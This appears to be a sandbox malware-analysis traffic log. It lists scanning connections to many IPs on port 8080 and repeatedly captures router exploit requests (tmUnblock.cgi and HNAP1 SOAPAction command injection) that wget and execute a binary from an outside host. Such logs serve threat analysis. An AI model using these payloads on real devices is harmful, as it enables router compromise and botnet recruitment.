Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.122.195.19:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.154.119.30:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.207.198.78:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.84.106.155:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.80.132.86:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.131.209.46:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.238.232.159:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.204.213.88:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.121.57.171:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.204.27.81:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.222.100.197:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.59.219.77:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.87.23.139:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.246.199.27:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.214.80.225:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.144.195.177:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.8.105.86:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.50.45.93:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.245.141.157:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.21.156.169:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.144.168.182:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.40.159.201:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.201.86.43:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.104.95.92:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.117.247.12:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.229.16.146:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.76.177.181:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.200.132.238:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.2.120.148:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.136.63.126:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.92.86.142:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.167.225.211:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.255.143.223:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.183.205.48:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.233.172.78:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.203.207.133:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.54.95.63:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.31.26.165:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.85.95.74:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.94.5.173:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.224.81.122:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.237.3.68:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.63.253.25:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.159.194.214:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.65.126.223:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.228.214.243:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.201.227.124:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.0.132.122:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.107.165.121:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.11.118.199:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.120.31.177:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.183.250.247:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.61.37.75:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.197.196.9:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.10.178.211:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.201.203.133:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.83.174.70:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.107.68.104:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.19.221.3:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.57.41.72:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.44.209.167:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.218.201.152:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.53.203.186:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.48.231.142:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.45.126.61:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.193.92.178:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.58.205.123:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.172.179.175:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.204.87.112:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.209.45.225:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.222.251.188:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.56.25.117:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.230.94.226:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.171.123.170:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.66.99.127:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.182.230.88:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.213.22.193:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.159.16.144:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.205.57.14:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.200.97.85:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.107.79.104:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.235.16.122:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.70.12.151:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.121.102.124:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.246.237.46:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.249.197.235:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.134.100.90:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.93.238.192:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.138.92.36:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.130.136.64:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.90.254.242:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.29.146.71:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.11.232.104:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.181.45.249:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.151.175.153:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.135.107.203:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.181.9.120:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.154.228.126:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.135.196.152:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.72.154.77:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.183.255.188:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.79.157.67:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.11.96.183:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.32.242.57:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.233.158.222:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.187.42.155:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.53.173.147:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.140.97.64:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.213.147.144:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.44.126.173:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.189.154.164:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.136.229.13:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.155.195.132:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.2.111.204:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.219.0.76:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.21.156.127:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.67.17.75:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.0.211.26:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.89.189.215:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.200.34.36:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.200.214.162:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.50.166.221:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.100.134.154:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.16.170.225:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.119.159.35:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.113.253.108:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.170.197.160:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.70.195.136:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.171.105.247:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.94.184.19:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.68.75.30:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.216.183.153:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.78.242.18:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.121.223.108:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.145.93.229:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.209.147.157:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.203.175.139:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.73.104.93:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.11.90.213:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.72.206.148:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.86.126.207:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.121.240.134:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.205.32.208:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.179.114.92:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.118.162.153:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.101.250.155:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.219.117.48:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.65.218.197:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.145.140.237:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.112.212.202:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.233.218.249:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.92.1.96:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.97.248.80:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.20.233.241:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.71.216.39:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.11.82.54:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.153.100.225:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.165.55.62:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.46.190.189:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.49.180.10:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.109.25.124:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.91.161.130:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.212.113.202:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.152.87.253:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.252.159.94:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.149.7.65:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.141.195.147:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.11.2.221:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.114.4.240:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.248.226.27:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.180.167.73:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.229.151.243:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.161.212.233:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.255.108.112:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.41.59.155:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.238.117.67:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.36.200.15:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.232.140.50:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.229.58.244:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.42.34.83:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.231.235.21:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.189.134.65:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.9.18.252:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.206.102.10:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.185.32.124:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.234.128.82:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.21.148.131:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.241.251.126:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.59.223.47:8080

Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://164.155.205.6/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://164.155.205.6/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
